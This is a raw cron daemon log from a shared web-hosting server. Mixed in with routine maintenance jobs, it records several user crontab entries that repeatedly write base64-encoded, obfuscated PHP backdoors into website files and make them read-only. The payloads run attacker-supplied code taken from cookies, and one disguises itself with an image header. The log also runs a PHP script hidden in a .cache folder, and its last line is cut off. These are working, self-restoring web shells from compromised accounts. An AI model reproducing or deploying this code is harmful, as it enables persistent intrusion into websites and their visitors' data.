Mar  1 08:57:01 medusa CROND[2980]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:57:01 medusa CROND[2981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:57:01 medusa CROND[2982]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:57:01 medusa CROND[2984]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:57:01 medusa CROND[2983]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 08:57:01 medusa CROND[2985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:57:01 medusa CROND[2987]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:57:01 medusa CROND[2990]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:57:01 medusa CROND[2991]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:57:01 medusa CROND[2994]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:58:02 medusa CROND[25262]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:58:02 medusa CROND[25263]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 08:58:02 medusa CROND[25264]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:58:02 medusa CROND[25265]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:58:02 medusa CROND[25266]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:58:02 medusa CROND[25268]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:58:02 medusa CROND[25271]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:58:02 medusa CROND[25273]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:58:02 medusa CROND[25269]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 08:58:02 medusa CROND[25274]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:58:02 medusa CROND[25275]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:58:02 medusa CROND[25281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:58:02 medusa CROND[25278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:58:02 medusa CROND[25282]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:59:01 medusa CROND[15344]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 08:59:02 medusa CROND[15415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:59:02 medusa CROND[15416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:59:02 medusa CROND[15417]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:59:02 medusa CROND[15418]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:59:02 medusa CROND[15420]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:59:02 medusa CROND[15421]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:59:02 medusa CROND[15422]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:59:02 medusa CROND[15424]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKC